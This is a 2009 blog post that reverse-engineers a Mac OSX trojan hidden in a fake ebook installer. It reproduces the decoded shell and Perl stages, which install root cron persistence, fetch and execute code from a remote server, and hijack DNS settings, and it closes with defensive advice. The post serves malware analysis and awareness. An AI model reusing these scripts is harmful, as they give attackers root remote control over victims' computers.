My first OSX trojan!!

January 23, 2009

Oh My God! I just stumbled upon my first MAC OSX trojan! And mostly written in shell script! I am just amazed.

But let me tell you the full story. I was googling to find a specific ebook for free and landed on this page. The page told me to enter a passcode and download what happened to be an OSX installer file with the *.dmg extension. At this point it already smelled fishy. I am supposed to be getting an ebook and I should instead install a program I know nothing of?

What follows is a small tale of late-night reverse engineering (Hail to Fravia+!), so fasten your seatbelts!

How to reverse an osx installer file without running it? I started by mounting the dmg and it contained a file called "install.pkg". I opened the pkg file with PackageMaker and started looking around. Nothing interesting except that the installation requires root privilege (Another red alarm firing in my head). Next I opened a shell and did:

$ cd /Volumes/install.pkg/install.pkg/Contents/Ressources

This directory contains 2 scripts that are to be executed before and after installation. In our case, both scripts are identical so I looked at the first one, "Resources/preinstall". I am copying the script as is below (without the uuencoded part):

#!/bin/sh
if [ $# != 1 ]; then type=0; else type=1; fi && tail -36 $0 | tail -r | uudecode -o /dev/stdout | sed 's/applemac/AdobeFlash/' | sed 's/bsd/7014/' | sed 's/gnu/'$type'/' >`uname -p` && sh `uname -p` && rm `uname -p` && exit
end
`
uuencoded stuff here
begin 777 you-are-lucky

See the "you-are-lucky" at the end? This stinks.

What this script does is to decode its uuencoded body, replace in it a few keywords with others and run the resulting script. The hidden script we would end up running is this one:

IPADDR="94.247.2.109"
EVIL="AdobeFlash"
path="/Library/Internet Plug-Ins"
exist=`crontab -l|grep $EVIL`
if [ "$exist" == "" ]; then
echo "* */5 * * * \"$path/$EVIL\" vx 1>/dev/null 2>&1" > cron.inst
crontab cron.inst
rm cron.inst
fi
tail -21 $0 | tail -r | uudecode -o /dev/stdout | sed 's/7777/7014/' | sed 's/typeofrun/0/' | sed 's/ipaddr/'$IPADDR'/' | perl && exit
end
`
more uuencoded stuff here
begin 666 intego

This second script sets up a cron entry to periodically run what looks like a flash plugin with the argument "vx". Remember that this is supposed to run with root privileges... Then again it decodes and runs an uuencoded script included in its body. This third hidden script is written in Perl and looks like:

#!/usr/bin/perl
use IO::Socket;
my $ip="server ip",$answer="a delimiter";
my $runtype=0;

sub trim($)
{
   my $string = shift;
   $string =~ s/\r//;
   $string =~ s/\n//;
   return $string;
}

my $socket=IO::Socket::INET->new(PeerAddr=>"$ip",PeerPort=>"80",Proto=>"tcp") or return;
print $socket "GET /cgi-bin/generator.pl HTTP/1.0\r\nUser-Agent: ".trim(`uname -p`).";$runtype;7014;".trim(`hostname`).";\r\n\r\n";

while(<$socket>){ $answer.=$_;}
close($socket);

my $data=substr($answer,index($answer,"\r\n\r\n")+4);
if($answer=~/Time: (.*)\r\n/)
{
   my $cpos=0,@pos=split(/ /,$1);
   foreach(@pos)
   {
     my $file="/tmp/".$_;

     open(FILE,">".$file);
     print FILE substr($data,$cpos,$_);
     close(FILE);

     chmod 0755, $file;
     system($file);

     $cpos+=$_;
   }
}

What the code above does is to download some stuff via HTTP from "94.247.2.109/cgi-bin/generator.pl", split the reply into parts and execute them in turn. To get the reply it sends a tailored GET query looking like:

GET /cgi-bin/generator.pl HTTP/1.0
User-Agent: i386;0;7014;myhostname

This GET contains info about what OS I am running, on which architecture, and my laptop's hostname! At this point I should mention that I am running an x86 macbook...

At this point, I had 2 tracks to follow: check what the "AdobeFlash" program running from cron actually does, and download and analyze whatever instructions are broadcasted by "94.247.2.109/cgi-bin/generator.pl".

Let's start with the AdobeFlash file. I had no such file on my macbook so I had to assume it was supposed to get installed when running the initial dmg file. Indeed it was. A further look at "/Volumes/install.pkg/install.pkg/Contents" shows an archive file called "Archive.pax.gz". I gunzip-ed it and unpax-ed it and here are the files it contained:

$ pax -rv -f Archive.pax
./AdobeFlash
./Mozillaplug.plugin
./Mozillaplug.plugin/Contents
./Mozillaplug.plugin/Contents/Info.plist
./Mozillaplug.plugin/Contents/MacOS
./Mozillaplug.plugin/Contents/MacOS/VerifiedDownloadPlugin
./Mozillaplug.plugin/Contents/Resources
./Mozillaplug.plugin/Contents/Resources/VerifiedDownloadPlugin.rsrc
./Mozillaplug.plugin/Contents/version.plist
pax: cpio vol 1, 10 files, 30208 bytes read, 0 bytes written.

The files "VerifiedDownloadPlugin" and "VerifiedDownloadPlugin.src" contain the string "RoveSupa" at several places. I googled on it and got some links warning me for an OSX trojan. That tells me I am not the first one to stumble upon that little beast then... But let's reap what we can from its steaming dead body anyway.

The file "AdobeFlash" has little to do with Adobe Flash and contains the exact same uuencoded shell script as in the file "preinstall" that we looked at first. The only difference is that cron will run this script with one argument, namely the keyword "vx". This gives a new meaning to the line:

#!/bin/sh
if [ $# != 1 ]; then type=0; else type=1; fi && tail -36 $0 | tail -r | uudecode -o /dev/stdout | sed 's/applemac/AdobeFlash/' | sed 's/bsd/7014/' | sed 's/gnu/'$type'/' >`uname -p` &&
sh `uname -p` && rm `uname -p` && exit
end

Now, "$#" is actually 1, hence "type" is set to 1 and not 0, and we end up sending a slightly different GET query to the HTTP server we encountered earlier, namely:

GET /cgi-bin/generator.pl HTTP/1.0
User-Agent: i386;1;7014;myhostname


Let's make a pause here and sum up our findings. What we have so far is a generic trojan that can be hidden inside any osx installer file. This trojan runs as root on your computer and executes whatever gets published by the CGI script at "94.247.2.109/cgi-bin/generator.pl". Notice the simplicity and efficiency of the mechanism: it is space efficient (a few lines of shell and perl script), it is reasonably obfuscated (uuencoded), it gets its active payload from a web site hence only relying on a working internet connection and on HTTP, a protocol seldom blocked by firewalls. It does not even matter if you are not online when installing the trojan since sooner or later cron will run AdobeFlash while you are connected and whatever payload 94.247.2.109 publishes at the time will be executed with root privileges on your computer.

So in other word, your computer has just been turned into a bot, a zombie, and 94.247.2.109 is your new master. Are you pissed off? Me too.

Furthermore, this mechanism informs the CGI script what operating system and hardware you have and whether you are currently installing the trojan (type=0) or whether it is already installed (type=1). With this mechanism, the master can push up whatever it wants to your computer, including improved versions of the trojans, new trojans, spywares or custom commands.

Let's move on now and look at whatever the master had for me at this time. I tried sending the GET query we identified earlier to 94.247.2.109 with netcat but only got back some advice on what to do with male genitals. So I altered the perl code and ran it instead. This time I got a reasonable answer:

HTTP/1.1 200 OK
Date: Fri, 23 Jan 2009 21:23:25 GMT
Server: Apache/2.0.63 (FreeBSD) PHP/5.2.6 with Suhosin-Patch
Time: 686
Content-Length: 686
Connection: close
Content-Type: text/html

#!/bin/sh
tail -11 $0 | uudecode -o /dev/stdout | sed 's/TEERTS/'`echo ml.pll.oop.oin | tr iopjklbnmv 0123456789`'/' | sed 's/CIGAM/'`echo ml.pll.oop.oij | tr iopjklbnmv 0123456789`'/'| sh && rm $0 && exit
begin 777 mac
some more uuencoded stuff here
`
end

Strangely enough, I got the same reply whether the "type" field of the user-agent line was set to 0 or 1. I assume this specific feature of the trojan's protocol was not in use at the time.

Remember that the perl script that sends the GET query was also designed to extract the shell code from the body of the HTTP reply and execute it. The body we got contains the now familiar pattern of shell code executing an uuencoded payload. Once decoded, the payload looked like:

#!/bin/sh
path="/Library/Internet Plug-Ins"

VX1="85.255.112.195"
VX2="85.255.112.231"

PSID=$( (/usr/sbin/scutil | grep PrimaryService | sed -e 's/.*PrimaryService : //')<< EOF
open
get State:/Network/Global/IPv4
d.show
quit
EOF
)

/usr/sbin/scutil << EOF
open
d.init
d.add ServerAddresses * $VX1 $VX2
set State:/Network/Service/$PSID/DNS
quit
EOF

The first part of this code uses the OSX tool scutil to get a handle for my laptop's primary network interface and the second part sets up the 2 IP addresses listed above as my primary DNS servers. Doesn't sound so terrible considering all the possibilities.

At this point I was starting to feel a rather pleasurable mix of anger and excitement. According to geobytes.com, the IP addresses for the DNS servers are located in Los Gatos, CA, USA but whois links them to an ukrainian company. A traceroute on the IP of the HTTP server (94.247.2.109) indicates it may be located in Latvia, which whois seems to confirm. I couldn't resist and did a short portscan at 2 of the addresses but found nothing unexpected.

I could follow the track a while longer, but it's getting late. I suspect the fake DNS servers would redirect me to some creepy place full of naked ladies, ending up with me installing more junk on my laptop. Just a guess though.

What can be done against this trojan? Block those IPs, but they are probably bots themselves and the attacker will probably move the master and DNS servers to new hosts. Run a network based intrusion detection system like snort and have it warn on HTTP replies whose body starts with "#!/bin/sh". But of course, a few simple alterations at the trojan would circumvent this protection. Run an host based intrusion detection tool that will know of this trojan's specific signature and warn for weird looking cron jobs running as root. Well, in the end, only user awareness may help: do not install code you don't trust.

Comments

RSS feed for comments on this post.

The URI to TrackBack this entry is: http://lemonnier.se/erwan/blog/bblog/trackback.php/49/

Leave a Comment

Sorry, Comments have been disabled for this post